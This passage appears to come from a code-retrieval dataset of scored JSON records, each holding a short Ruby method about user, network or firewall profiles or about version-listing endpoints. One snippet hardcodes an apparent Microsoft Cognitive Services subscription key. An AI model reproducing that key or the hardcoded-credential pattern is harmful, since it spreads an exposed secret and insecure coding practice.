"text": "def profile\n if Configuration.host_based_profiles\n request_hostname\n else\n CurrentUser.user_settings[:profile].to_sym if CurrentUser.user_settings[:profile]\n end\n end",
"title": ""
},
{
"docid": "0b9557e285edefd493593205e0a3c03c",
"score": "0.50631315",
"text": "def get_node_profile\n rpc_get_fact_direct('node_profile')\n end",
"title": ""
},
{
"docid": "c815f6afdf0b79e1796f8a4e0dc1d20d",
"score": "0.5020859",
"text": "def get_profile\n begin\n client.profile(fields: PROFILE_FIELDS)\n rescue Exception => e\n logger.error \"Linkedin #get_profile error #{e}\"\n end\n end",
"title": ""
},
{
"docid": "d31bee83198085a355804d41a2feafc7",
"score": "0.49950096",
"text": "def firewall_profile_public\n return @firewall_profile_public\n end",
"title": ""
},
{
"docid": "6eb00d1b7348df13665d77a3696276b0",
"score": "0.49741444",
"text": "def profile\n @profile ||= begin\n profile_xml = repository.datastream(:pid => pid, :dsid => dsid)\n profile_xml.gsub! '<datastreamProfile', '<datastreamProfile xmlns=\"http://www.fedora.info/definitions/1/0/management/\"' unless profile_xml =~ /xmlns=/\n doc = Nokogiri::XML(profile_xml)\n h = doc.xpath('/management:datastreamProfile/*', {'management' => \"http://www.fedora.info/definitions/1/0/management/\"} ).inject({}) do |sum, node|\n sum[node.name] ||= []\n sum[node.name] << node.text\n sum\n end\n h.select { |key, value| value.length == 1 }.each do |key, value|\n h[key] = value.first\n end\n\n h\n rescue\n {}\n end\n end",
"title": ""
},
{
"docid": "6859a0c8dd06e8ade3b42074b396179a",
"score": "0.49696946",
"text": "def profile(force = false)\n force ? @profile = get_profile : @profile ||= get_profile\n end",
"title": ""
},
{
"docid": "3348195ca38cd6b66e50b3da94d8d7e6",
"score": "0.49388975",
"text": "def profile\n if @profile\n return @profile\n end\n\n @profile ||= begin\n h = profile_xml_to_hash(@catalog.search @route => @name )\n @new = false\n h\n rescue RestClient::ResourceNotFound\n # The resource is new\n @new = true\n {}\n end.freeze\n end",
"title": ""
},
{
"docid": "4af956cfbea54c90a4f391610e13dae3",
"score": "0.49336797",
"text": "def get_existing_profile(usr_prf)\n raise Utility::Errors::NotFound, \"Invalid UserProfile!\" unless usr_prf.present?\n get_prebuilt_profile(usr_prf.person_authentication_key)\n end",
"title": ""
},
{
"docid": "9dc612b7ca47f4e53f230d3f3d68a66e",
"score": "0.49269012",
"text": "def default_profile\n profiles.find_by_id(default_profile_id)\n end",
"title": ""
},
{
"docid": "9c4b76e6a85697fd0c09f2575e22e437",
"score": "0.49146742",
"text": "def useable_profile\n return @profile if @curtailment.zero?\n return zeroed_profile if @curtailment >= 1.0\n\n sat = saturation_point\n\n @profile.class.new(@profile.map do |value|\n value > sat ? sat : value\n end)\n end",
"title": ""
},
{
"docid": "f67ad6d34a83224e1ec60e502a4b747b",
"score": "0.49057165",
"text": "def profile\n return nil unless user_loa3\n\n mvi_response&.profile\n end",
"title": ""
},
{
"docid": "5ac30365f4372dc690a45e376388e32a",
"score": "0.49029493",
"text": "def profile_url\n nil\n end",
"title": ""
},
{
"docid": "410cef38f173571e07633ea06248b5af",
"score": "0.4885239",
"text": "def youtube_profile\n @network = current_user.network ||= Network.new\n (@network.youtube.nil?) ? \"\" : @network.youtube\n end",
"title": ""
},
{
"docid": "6658224e1a0d98b9312ccba76b018ee3",
"score": "0.4868818",
"text": "def youtube_network_profile(user)\n (user.network.youtube.nil?) ? \"\" : user.network.youtube\n end",
"title": ""
},
{
"docid": "6658224e1a0d98b9312ccba76b018ee3",
"score": "0.4868818",
"text": "def youtube_network_profile(user)\n (user.network.youtube.nil?) ? \"\" : user.network.youtube\n end",
"title": ""
},
{
"docid": "6658224e1a0d98b9312ccba76b018ee3",
"score": "0.4868818",
"text": "def youtube_network_profile(user)\n (user.network.youtube.nil?) ? \"\" : user.network.youtube\n end",
"title": ""
},
{
"docid": "e866ffaf1545198207c1727085fb91dc",
"score": "0.48531333",
"text": "def profile_name\n return self.profile.name\n end",
"title": ""
},
{
"docid": "7f8884443704ff1759837ca77a6428e9",
"score": "0.48469275",
"text": "def current_profile\n profile = profiles.detect {|a| a.default == true}\n unless profile\n profile = profiles.first\n profile.update_attribute(:default, true) if profile\n end\n profile\n end",
"title": ""
},
{
"docid": "5975cc5f4e3138813b4a73e5a7cba412",
"score": "0.48338392",
"text": "def profile_url\n @data[:profile_url]\n end",
"title": ""
},
{
"docid": "8b104165919fca12e18e9ee842e70feb",
"score": "0.481167",
"text": "def profile\n @profile ||= @request.do_request { FacebookUserProfile.populate(user) }\n end",
"title": ""
},
{
"docid": "e07cace76650076fe393a0622f16d464",
"score": "0.48104468",
"text": "def get_existing_profile(usr_prf)\n raise Utility::Errors::NotFound, \"Invalid UserProfile!\" unless usr_prf.present?\n get_prebuilt_profile(usr_prf.person_authenticated_key)\n end",
"title": ""
},
{
"docid": "d5646bc3a35e99419ef8dddd01bce834",
"score": "0.48055756",
"text": "def get_inherited_attribute(attr)\n if var = instance_variable_get(attr)\n return var\n end\n superclass.get_inherited_attribute(attr) unless superclass == GDI::Debugger\n end",
"title": ""
},
{
"docid": "bc93aa23b9690ab8a3f17bf147d388e6",
"score": "0.4768529",
"text": "def get_bot_profile\n bot_profile = command.event.bot.profile.on(command.event.server)\n end",
"title": ""
},
{
"docid": "d5018ba6f779c2ecfd67f487363da0f9",
"score": "0.47661126",
"text": "def firewall_profile_domain\n return @firewall_profile_domain\n end",
"title": ""
},
{
"docid": "9580aa58a884d1dad29a2e22116b65c7",
"score": "0.47501254",
"text": "def profile_url\n if self.profile and self.profile != \"\"\n return self.profile\n end\n return \"/blank.png\"\n end",
"title": ""
},
{
"docid": "972f5af6ab49a782e2fc1576e91b3e64",
"score": "0.47483966",
"text": "def profile_type\n return @profile_type if @profile_type\n\n @profile_type = Spaceship.provisioning_profile.development\n\n @profile_type\n end",
"title": ""
},
{
"docid": "2a4ad20a8423bf4670f80c7f35409863",
"score": "0.47416645",
"text": "def linkedin_profile\n @network = current_user.network ||= Network.new\n (@network.linkedin.nil? || @network.linkedin.blank?) ? \"\" : @network.linkedin\n end",
"title": ""
},
{
"docid": "bd42daded4502da05305929724bed8e0",
"score": "0.4738352",
"text": "def profile\n super\n end",
"title": ""
},
{
"docid": "bd42daded4502da05305929724bed8e0",
"score": "0.4738352",
"text": "def profile\n super\n end",
"title": ""
},
{
"docid": "454f214aa20861e95b87738f5b60799d",
"score": "0.47335187",
"text": "def profile\n raw = client.get @json['user']['links']['self']\n client.factory.create(GoodData::Profile, raw)\n end",
"title": ""
},
{
"docid": "1c6b4050d6b1c81ad5f8e4a27f26e521",
"score": "0.47112766",
"text": "def chargeable_profiles\n profile ? [profile] : []\n end",
"title": ""
},
{
"docid": "211bc9c65712f9d3176660987f0f9478",
"score": "0.46873137",
"text": "def get_profile\n path = self.api_root + '/register/profile'\n process_firecloud_request(:get, path)\n end",
"title": ""
},
{
"docid": "50127a22ee0e218fdd39c9212f72bca9",
"score": "0.46818075",
"text": "def encapsulation_profile_vni\n config_get('interface_service_vni', 'encapsulation_profile_vni',\n @get_args)\n end",
"title": ""
},
{
"docid": "2a87ad14aff81826da49637b9de7834c",
"score": "0.46751484",
"text": "def get_prebuilt_profile(pak)\n profile = nil\n profile = get_storage_object(pak)\n Rails.logger.debug(\"#{self.class.name.to_s}.#{__method__}() returns: #{profile}\")\n profile\n end",
"title": ""
},
{
"docid": "2f4c2a49cd945b967812dc52838a1775",
"score": "0.4672507",
"text": "def facebook_profile\n @network = current_user.network ||= Network.new\n (@network.facebook.nil?) ? \"\" : @network.facebook\n end",
"title": ""
},
{
"docid": "5cdcfc887e1eb0feb2e6483ee37eeda9",
"score": "0.46670887",
"text": "def default_profile\n active_profiles.select {|prof| prof.can_start_instance?}.first\n end",
"title": ""
},
{
"docid": "9dfa6e7997c74cee04ee2fe49ff52d14",
"score": "0.4659236",
"text": "def get_network_wireless_rf_profiles(options = {})\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'network_id' => options['network_id']\r\n )\r\n # Prepare query url.\r\n _path_url = '/networks/{networkId}/wireless/rfProfiles'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'networkId' => options['network_id']\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'includeTemplateProfiles' => options['include_template_profiles']\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end",
"title": ""
},
{
"docid": "3a3db628668dbb65f8df847f17d35e85",
"score": "0.4637871",
"text": "def current_profile\n current_session.profile\n end",
"title": ""
},
{
"docid": "2ea2d94362e287d13ca20a106b05948f",
"score": "0.46333623",
"text": "def profile(name)\n @profiles.find { |p| p.name == name }\n end",
"title": ""
},
{
"docid": "e4a1c1d8cc64c8b3aa526639a9f2ef08",
"score": "0.46196297",
"text": "def profile\n env['profile']\n end",
"title": ""
},
{
"docid": "12ddaf473e1131a84d3d731814b7a86f",
"score": "0.46185207",
"text": "def get_network_wireless_rf_profile(options = {})\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'network_id' => options['network_id'],\r\n 'rf_profile_id' => options['rf_profile_id']\r\n )\r\n # Prepare query url.\r\n _path_url = '/networks/{networkId}/wireless/rfProfiles/{rfProfileId}'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'networkId' => options['network_id'],\r\n 'rfProfileId' => options['rf_profile_id']\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end",
"title": ""
},
{
"docid": "b8970f12209bc6691767614d13895f43",
"score": "0.46066806",
"text": "def first\n Profile.all.first\n end",
"title": ""
},
{
"docid": "927ce4a9b2b1181074657ddcacbfb42b",
"score": "0.46018925",
"text": "def single_config\n default = begin\n if profile.is_a?(Hash)\n profile\n elsif [String, Symbol].include?(profile.class)\n available[profile] ||\n raise(ProfileError, \"Profile #{profile.inspect} is undefined\")\n else\n available[:default] ||\n raise(ProfileError, 'No default profile defined')\n end\n end\n {:default => default}\n end",
"title": ""
},
{
"docid": "67a02072d44e61a0a8b86ed72c829fdc",
"score": "0.4594483",
"text": "def profiles\n ####\n #puts self.to_xml\n #puts self.to_xml\n @profs ||= long_function\n return @profs\n end",
"title": ""
},
{
"docid": "470f4419e4ebb49a456d0c6237b9cb7d",
"score": "0.45876297",
"text": "def profile\n @profile ||= EbanqApi::Profile.new(self)\n end",
"title": ""
},
{
"docid": "87194b69e315675d894dda3eb9f13e87",
"score": "0.45875478",
"text": "def current_profile\n @profile ||= JSON.parse($redis.get(\"profile\"))\n end",
"title": ""
},
{
"docid": "d7504e591eaf3edb30e947909bf24a09",
"score": "0.4584154",
"text": "def profile(name)\n @statistics[:profiles][name] ||= 0\n end",
"title": ""
},
{
"docid": "b90cc5bdce4d8c3287094e92ce8642f6",
"score": "0.45822948",
"text": "def get_profile\n \n profil =\n Excon.get(\n 'https://eastus.api.cognitive.microsoft.com/speaker/identification/v2.0/text-independent/profiles',\n headers: {\n 'Content-Type' => 'application/json',\n 'Ocp-Apim-Subscription-Key' => \"3c43bca9ad884fe39518a5cf3925e707\"\n },\n body: JSON.generate(\"locale\": 'en-us')\n )\n return profil.body\n parsed = JSON.parse(profil.body)\n return parsed['profiles']\n rescue Excon::Error => e\n puts \"Error: #{e}\"\n\n end",
"title": ""
},
{
"docid": "4e3f0dcffd22f4f380830177919acfaa",
"score": "0.4578458",
"text": "def profile_url\n @json['profile']['url'] rescue nil\n end",
"title": ""
},
{
"docid": "78f6bec9a17165c54dba2459450ec4f6",
"score": "0.45674884",
"text": "def profile\n check_auth :profile\n \n response = connection.post do |req|\n req.url '/user/profile'\n req.body = { :format => @format }\n end\n response.body[0]\n end",
"title": ""
},
{
"docid": "8b94ea053bcd01974199d52013069c68",
"score": "0.4560172",
"text": "def use_default\n Gist.scoped.includes(:profile)\n end",
"title": ""
},
{
"docid": "89d672e44cc1fffcd169395d57ceca37",
"score": "0.4547366",
"text": "def firewall_profile_private=(value)\n @firewall_profile_private = value\n end",
"title": ""
},
{
"docid": "53078faa468b6b11265961c7b2e3388a",
"score": "0.4546478",
"text": "def profiles(tool)\n names = []\n each do |c|\n names << c.profile if c.tool == tool.to_sym\n end\n names.uniq.compact\n end",
"title": ""
},
{
"docid": "53078faa468b6b11265961c7b2e3388a",
"score": "0.4546478",
"text": "def profiles(tool)\n names = []\n each do |c|\n names << c.profile if c.tool == tool.to_sym\n end\n names.uniq.compact\n end",
"title": ""
},
{
"docid": "7a6c1d3440654c6940f0edd79515765f",
"score": "0.45431265",
"text": "def get_connection_profile request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_connection_profile_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Datastream::V1::ConnectionProfile.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "3710f665d9e4091a3c47931276ec223f",
"score": "0.45357126",
"text": "def get_connection_profile request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_connection_profile_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Datastream::V1alpha1::ConnectionProfile.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "10f8435832d831a765d57489a7350893",
"score": "0.45336726",
"text": "def profile\n unless @profile\n if associated_profile\n @profile = Profile.new(associated_profile)\n else\n options = {:fields => 'user_id', :includes => 'Profile'}\n options = options.merge(:access_token => token, :access_secret => secret) if (token && secret)\n tmp = User.find(username, options)\n @profile = Profile.new(tmp.associated_profile)\n end\n end\n @profile\n end",
"title": ""
},
{
"docid": "1663de9dd021b003ca357f855045651e",
"score": "0.45195112",
"text": "def attributes\n return nil if not @rep\n @rep.get_attributes \"camera\"\nend",
"title": ""
},
{
"docid": "b928479e47bc57f88cadc89e0c06ddbc",
"score": "0.45162785",
"text": "def by_profile\n profile.gists\n end",
"title": ""
},
{
"docid": "3ccb373baf6499d7e23deb1ea60fadcf",
"score": "0.4511491",
"text": "def get_conversation_profile request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_conversation_profile_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Dialogflow::V2::ConversationProfile.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "d61dab2c1af611776728165df36e77fc",
"score": "0.4504352",
"text": "def profiles\n Management::Profile.all(self)\n end",
"title": ""
},
{
"docid": "a1a39739e3a41b5ce631253cb51005a5",
"score": "0.45014912",
"text": "def previous_giftee\n\t\tUser.find_by(previous_secret_santa_id: self.id).try(:name)\n\tend",
"title": ""
},
{
"docid": "73ce0288ff51016a17be5f2e19517712",
"score": "0.44597098",
"text": "def profile( key, profile )\n profile = profile.dup\n base = profile.delete( :base_profile ) || :default\n base_profile = @profiles[ base ]\n if base_profile\n profile = base_profile.merge( profile )\n if base_profile[ :roles ] && profile[ :roles ]\n profile[ :roles ] = ( base_profile[ :roles ] | profile[ :roles ] )\n end\n end\n\n @profiles[ key ] = profile\n end",
"title": ""
},
{
"docid": "e02cf006e241e9d9f2f44d4f466172eb",
"score": "0.4458195",
"text": "def default_color_profile\n self.default_options[:color_profile].presence\n end",
"title": ""
},
{
"docid": "14f89f93cc5c67bf41d871e0637a406d",
"score": "0.44528747",
"text": "def profile_details\n # Since 15th September 2016 certificates and devices are hidden behind another request\n # see https://github.com/fastlane/fastlane/issues/6137 for more information\n @profile_details ||= client.provisioning_profile_details(provisioning_profile_id: self.id, mac: mac?)\n end",
"title": ""
},
{
"docid": "a17e4e0e28dedacec27f09ce6ea630fd",
"score": "0.44462004",
"text": "def profile_mode\n super\n end",
"title": ""
},
{
"docid": "a17e4e0e28dedacec27f09ce6ea630fd",
"score": "0.44462004",
"text": "def profile_mode\n super\n end",
"title": ""
},
{
"docid": "dd6d2bf844cc050b0a630b46593a1a55",
"score": "0.44452187",
"text": "def profile()\n title = Sketchup.active_model.title or 'Untitled'\n @@profilemap[title]\n end",
"title": ""
},
{
"docid": "1aecadfcf164c5a829e9ae463eee8691",
"score": "0.44449916",
"text": "def getG\r\n return @g\r\n end",
"title": ""
},
{
"docid": "511954bf7c6dd76207a0a3a64eaa9989",
"score": "0.44445357",
"text": "def get_profile_information\n # body = {\n # cmd: \"get_profile_information\"\n # }\n\n end",
"title": ""
},
{
"docid": "00a3d62bae023b28c8e78527b3d6baac",
"score": "0.44355777",
"text": "def tunnel\n if gw\n # We have a gateway host.\n @tunnel ||= gw.gateway_tunnel\n end\n end",
"title": ""
},
{
"docid": "fe57a5b2869d598f9f866cc770317f20",
"score": "0.44349226",
"text": "def all_profiles(property_hash)\n profiles = []\n\n client = property_hash[:protocol_profile_client] || property_hash[:protocol_profile_server]\n server = property_hash[:protocol_profile_server] || property_hash[:protocol_profile_client]\n if !client.nil?\n if client == server\n profiles << { :profile_name => client,\n :profile_type => nil,\n :profile_context => \"PROFILE_CONTEXT_TYPE_ALL\" }\n else\n profiles << { :profile_name => client,\n :profile_type => nil,\n :profile_context => \"PROFILE_CONTEXT_TYPE_CLIENT\" }\n profiles << { :profile_name => server,\n :profile_type => nil,\n :profile_context => \"PROFILE_CONTEXT_TYPE_SERVER\" }\n end\n end\n\n (profile_properties - [:protocol_profile_client,\n :protocol_profile_server]).each do |propertyname|\n property_hash[propertyname].nil? && next\n type, context = /^([^_]+)_PROFILES?_?([^_]+)?$/.match(\n propertyname.upcase).captures\n context = context || \"ALL\"\n\n typemap = {\n 'SIP' => 'SIPP',\n 'ONECONNECT' => 'CONNECTION_POOL'\n }\n type = typemap[type] || type\n\n profile_type = context == \"ALL\" ?\n \"PROFILE_TYPE_#{type}\" :\n \"PROFILE_TYPE_#{context}_#{type}\"\n profile_context = \"PROFILE_CONTEXT_TYPE_#{context}\"\n arraywrap(property_hash[propertyname]).each do |profile_name|\n profiles << { profile_name: profile_name,\n profile_type: profile_type,\n profile_context: profile_context }\n end\n end\n profiles\n end",
"title": ""
},
{
"docid": "8860c0c2bdaf0e433e884f40c8cd0ac4",
"score": "0.44315642",
"text": "def profiles; end",
"title": ""
},
{
"docid": "337519b50507a7577b70d1beec6f5b87",
"score": "0.44297537",
"text": "def tunnel_peer\n\t\tbegin\n\t\t\t@peer_info = rstream.peerinfo\n\t\trescue ::Exception\n\t\t\t@peer_info ||= '127.0.0.1'\n\t\tend\n\tend",
"title": ""
},
{
"docid": "96fe65a7ec261d4339b403b6fd0d6560",
"score": "0.44231915",
"text": "def profile_url\r\n infoxml = get_info\r\n return infoxml.at('profileurl').inner_text\r\n end",
"title": ""
},
{
"docid": "fdb91322f047bd17a8aabc1939f91517",
"score": "0.44112524",
"text": "def getOwnProps(name = nil)\n @seen[active + resolve(name)]&.dup || {}\n end",
"title": ""
},
{
"docid": "8c8d4cbf30ffdc727099444161d2b009",
"score": "0.44066072",
"text": "def get_profile\n profile = Selenium::WebDriver::Firefox::Profile.new\n profile['browser.download.folderList'] = 2\n profile['browser.download.manager.showWhenStarting'] = false\n # don't save any downloads to disk, just erase it\n profile['browser.download.dir'] = '/dev/null'\n # don't do a download popup or it could interfere with future requests\n profile['browser.helperApps.neverAsk.saveToDisk'] = 'application/x-xpinstall;application/x-zip;application/x-zip-compressed;application/octet-stream;application/zip;application/pdf;application/msword;text/plain;application/octet'\n profile['browser.download.manager.showAlertOnComplete'] = false\n profile['browser.download.manager.showWhenStarting'] = false\n profile['browser.download.panel.shown'] = false\n profile['browser.download.useToolkitUI'] = true\n profile.assume_untrusted_certificate_issuer = false\n profile\n end",
"title": ""
},
{
"docid": "c9ef7181504aff333d0a8c53678d119a",
"score": "0.4404134",
"text": "def remove_profile(opts)\n opts = check_params(opts,[:profiles])\n super(opts)\n end",
"title": ""
},
{
"docid": "6231010287f199f4a15939a632176a8d",
"score": "0.4401958",
"text": "def profiles\n @profiles.sort_by(&:name)\n end",
"title": ""
},
{
"docid": "a594c581e120af7b174f48ae374e36bc",
"score": "0.4401135",
"text": "def remove_httpclass_profile(opts)\n opts = check_params(opts,[:profiles])\n super(opts)\n end",
"title": ""
}
] |
f5137ec678a3bdadd2cc9093dc3c4d42
|
GET /versions/1 GET /versions/1.xml
|
[
{
"docid": "475f5cd9e32f59ca31014c303e0b5dc4",
"score": "0.0",
"text": "def show\n @version = Version.find(params[:id])\n authorize! :show, @version\n \n # Verify user can view this version. Must be in his product\n authorize_product!(@version.product)\n \n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"title": ""
}
] |
[
{
"docid": "0d5613077b028fac885591800ee4e229",
"score": "0.74399596",
"text": "def index\n @versions = @page.versions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @versions }\n end\n end",
"title": ""
},
{
"docid": "1e16761f6f52096ee8a883f9e4dd0d67",
"score": "0.7394204",
"text": "def index\n @versions = Version.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @versions }\n end\n end",
"title": ""
},
{
"docid": "ef46a0c3c97e456fd065a62f254a1b95",
"score": "0.729763",
"text": "def show\n @version = @page.versions.find_by_version(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @version }\n end\n end",
"title": ""
},
{
"docid": "191475196f1c8e402e0bbf29826fd7e4",
"score": "0.71275425",
"text": "def show\n @version = Version.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @version }\n end\n end",
"title": ""
},
{
"docid": "0272dc9b03cc36d3376ed49d7364f3a5",
"score": "0.6993308",
"text": "def get_versions\n path = \"/d2l/api/versions/\"\n _get(path)\n # returns: SupportedVersion JSON block\nend",
"title": ""
},
{
"docid": "ced213f4e5e07222a99e0833d81e84a0",
"score": "0.691514",
"text": "def version\n do_get('/api/version')\n end",
"title": ""
},
{
"docid": "d8338dbce7591d441d7bf56c190dbbdd",
"score": "0.6838758",
"text": "def index\n @activity = Activity.find(params[:activity_id])\n @versions = @activity.versions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @version }\n format.atom # index.atom.builder\n end\n end",
"title": ""
},
{
"docid": "6fedf2c1533f323467fd463645ab3492",
"score": "0.68147683",
"text": "def versions(options = {})\n if uri\n url = File.join(uri, \"versions\")\n if options[:etag]\n url = File.join(url, options[:etag])\n self.class.get(url)\n else\n url = options[:resolved] ? File.join(url, \"_resolved\") : url\n result = Rest.get(Rest.paramify_url(url, options))\n if options[:resolved]\n result[\"documents\"].map { |d| self.class.new(d) }\n else\n result[\"uris\"]\n end\n end\n else\n []\n end\n end",
"title": ""
},
{
"docid": "95d28fd51c5820d5dd871c99c46c8846",
"score": "0.6786793",
"text": "def show\n @api_version = ApiVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @api_version }\n end\n end",
"title": ""
},
{
"docid": "9d8da5209ff0e26298b2d9496f3845dd",
"score": "0.67569757",
"text": "def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"title": ""
},
{
"docid": "2ecc7c71a2b6852a3c0f8a3f0930179e",
"score": "0.6752591",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml {\n config_versions = ConfigVersion.find(:all)\n render :xml => config_versions\n }\n end\n end",
"title": ""
},
{
"docid": "671c643de187f9a9b74065de66245b33",
"score": "0.6737895",
"text": "def show\n @document = Document.find(params[:id])\n @documentversion = @document.versions.find(:all)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "81a069e17d555a0914df29d5f6bd5c7a",
"score": "0.6719536",
"text": "def show_version\n @document = Document.find(params[:id])\n @version = @document.revert_to(params[:version_id])\n @documentversion = @document.versions.find(:all)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "06ed1f7198150419bbb4cec25d1f9f66",
"score": "0.6716609",
"text": "def get_document_versions( id )\n get( '/records/' + @record_id + '/documents/' + id + '/versions' ).xpath('//api:document')\n end",
"title": ""
},
{
"docid": "c271cb733ae66ff5aad0f33384b825b0",
"score": "0.6697611",
"text": "def list_all_aos_versions(args = {}) \n get(\"/aosversions.json/all\", args)\nend",
"title": ""
},
{
"docid": "03c2863cbb027392b25b811136e5d83e",
"score": "0.6695104",
"text": "def get_versions\n url = build_url(BASE_URL, VERSIONS_ENDPOINT)\n\n response = get(url)\n\n JSON.parse(response)['response']\n end",
"title": ""
},
{
"docid": "6ccbfb9b264bf560e8eca8d0d393a95f",
"score": "0.66816497",
"text": "def retrieve_version()\n start.uri('/api/system/version')\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "8441ab882337ccca7ed534057a5458ae",
"score": "0.66205466",
"text": "def version\n self.class.get(\"/get/version\")\n end",
"title": ""
},
{
"docid": "366d2c39cfbae1a8286efb9eeadb8801",
"score": "0.6609552",
"text": "def version\n request :get_version\n end",
"title": ""
},
{
"docid": "3d03acd056bc6892b07af70887da60cf",
"score": "0.65965897",
"text": "def show\n @document_version = DocumentVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document_version }\n end\n end",
"title": ""
},
{
"docid": "bbd149abca808deb1cc55a13a8372593",
"score": "0.6580261",
"text": "def versions\n request_str = \"/gallery/appliances/#{id.to_i}/versions\"\n response = GenericRequest.new(self.class.studio_connection).get request_str\n tree = XmlSimple.xml_in response, \"ForceArray\" => [\"version\"]\n return tree[\"appliance\"][\"versions\"][\"version\"]\n end",
"title": ""
},
{
"docid": "5d6fce30e6f6ebb8a3f7dfa1d88dd3d3",
"score": "0.65427077",
"text": "def get_version(name, project_id)\n get :get_version, :name => name, :project_id => project_id\n end",
"title": ""
},
{
"docid": "6da791cd67ded52316d6f18368388ddf",
"score": "0.6521352",
"text": "def version\n @connection.get(\"/version\")\n end",
"title": ""
},
{
"docid": "e5f8bd240f31aa43f463fc65ad4d2169",
"score": "0.6500712",
"text": "def show\n respond_with @version\n end",
"title": ""
},
{
"docid": "6b58a238083f441e9432d203f1328a1f",
"score": "0.64823925",
"text": "def versions(id)\n @connection.get(\"/v_beta/apps/#{id}/versions\")\n end",
"title": ""
},
{
"docid": "624dfbb0421e8f6b1ca72a96ca11326e",
"score": "0.64814025",
"text": "def get_version\n request('getVersion')\n end",
"title": ""
},
{
"docid": "66ccbf17c31a1d47d3a12a1560789c8d",
"score": "0.64810276",
"text": "def get_aos_version(args = {}) \n get(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "23f854ce7e6e2379f04ea5d7b06c6c06",
"score": "0.6466661",
"text": "def version\n request(Request.new({:action => 'version'}))\n end",
"title": ""
},
{
"docid": "b15f11427c466a0b1623708c26fb5919",
"score": "0.64597505",
"text": "def version_get \n\t\t\tvreq=\"<get_version/>\"\t\n\t\t\tresp=sendrecv(vreq)\t\n\t\t\tresp = \"<X>\"+resp+\"</X>\"\n\t\t\tbegin\n\t\t\t\tdocxml = REXML::Document.new(resp)\n\t\t\t\tversion=''\n\t\t\t\tversion=docxml.root.elements['get_version_response'].elements['version'].text\n\t\t\t\treturn version\n\t\t\trescue\n\t\t\t\traise XMLParsingError \n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "719f324fd7e76ace60f0d241da747193",
"score": "0.645528",
"text": "def get_aos_version_by_name(args = {}) \n get(\"/aosversions.json/version/#{args[:aosVersionName]}\", args)\nend",
"title": ""
},
{
"docid": "1ec61b6b54e78faead5e68993bf6f757",
"score": "0.6436203",
"text": "def show\n @version = Version.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: version }\n end\n end",
"title": ""
